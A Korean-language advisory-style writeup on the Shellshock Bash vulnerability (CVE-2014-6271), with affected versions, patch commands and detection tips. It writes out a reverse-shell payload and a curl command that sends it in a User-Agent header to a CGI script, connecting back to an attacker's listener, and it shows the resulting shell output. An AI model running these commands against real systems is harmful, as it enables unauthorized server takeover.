
CVE-2014-6271

25년간 묵혀온 제로데이 원격 코드 실행 — 환경 변수를 통한 GNU Bash 취약점
CVE-2014-6271, 일명 Shellshock (또는 Bashdoor)는 GNU Bash 셸의 치명적인 원격 코드 실행(RCE) 취약점입니다.
공격자는 특수하게 조작된 환경 변수(HTTP 헤더, DHCP, SSH 등을 통해)를 전송하여 원격 셸 접근을 얻을 수 있으며, 대개 인증이나 사용자 상호작용 없이도 가능합니다.
| 항목 | 값 |
|---|---|
| CVE ID | CVE-2014-6271 |
| 심각도 | 🔴 치명적 |
| CVSS | 10.0 (최대) |
| 공격 벡터 | 원격 (HTTP, DHCP, SSH 등) |
| 인증 필요 여부 | ❌ 없음 (다수 벡터에서) |
| 사용자 상호작용 | ❌ 없음 (CGI/DHCP 사례) |
| 영향 | 전체 서버 장악 |
공격자가 특수하게 조작된 변수(예: User-Agent 헤더)를 주입합니다:
() { :; }; /bin/bash -i >& /dev/tcp/공격자-ip/4444 0>&1
Bash는 페이로드를 함수 정의 + 후속 명령어로 잘못 처리합니다. 변수가 불러와질 때 (); 뒤의 코드가 즉시 실행됩니다.
명령어는 웹 서버/프로세스의 권한(종종 root 또는 www-data)으로 실행됩니다.
결과:
# 원격 셸 접근 성공
whoami
www-data
✅ 취약함! (Shellshock RCE 트리거)
vulnerable
test
리버스 셸이 즉시 연결되는 것도 확인할 수 있습니다.
env x='() { :;}; echo vulnerable' bash -c "echo test"
즉시 반환됩니다:
vulnerable
test
(이는 Bash가 주입된 명령어를 실행했음을 확인합니다.)
취약한 Apache CGI 스크립트에 대해 이 curl을 실행하세요:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://취약한-서버/cgi-bin/test.sh
netcat 리스너에서 이 정확한 출력을 보게 됩니다:
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
이 출력이 직접 리버스 셸에 나타납니다. 오류 없음, 404 없음.
이는 서버에서 완전한 원격 코드 실행이 가능하다는 뜻입니다 — 환경 변수 주입이 완벽하게 작동했습니다.
모든 GNU Bash 버전:
1.14부터 4.3까지 (패치 레벨 30 이전)
(리눅스, macOS, BSD, 임베디드 장치 포함)
즉시 업그레이드하세요:
Bash 4.3 패치 레벨 30 이상 (4.4+ 권장)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() { 차단을 위한 mod_security 규칙 사용다음 항목 확인:
() {를 포함한 의심스러운 User-Agent / Referer침해 지표는 다음과 같습니다:
() { :;};를 포함한 로그/bin/bash -i를 실행악의적인 헤더/DHCP/SSH → Bash 환경 변수 임포트
↓
함수 정의 + 후속 명령어 실행
↓
임의 명령어 / 리버스 셸
이 문제는 여러 후속 CVE(불완전한 수정)로 이어졌습니다:
| 위험 영역 | 영향 |
|---|---|
| 기밀성 | 🔴 높음 |
| 무결성 | 🔴 높음 |
| 가용성 | 🔴 높음 |
2026년에 리눅스/macOS/BSD 서버를 운영한다면: 🔥 Bash를 즉시 패치하세요 (에어갭 시스템에서도). 💡 인터넷에 노출된 패치되지 않은 Bash를 실행 중이라면 침해를 가정하세요. 🛡 전체 로그 검토 및 무결성 점검을 수행하세요.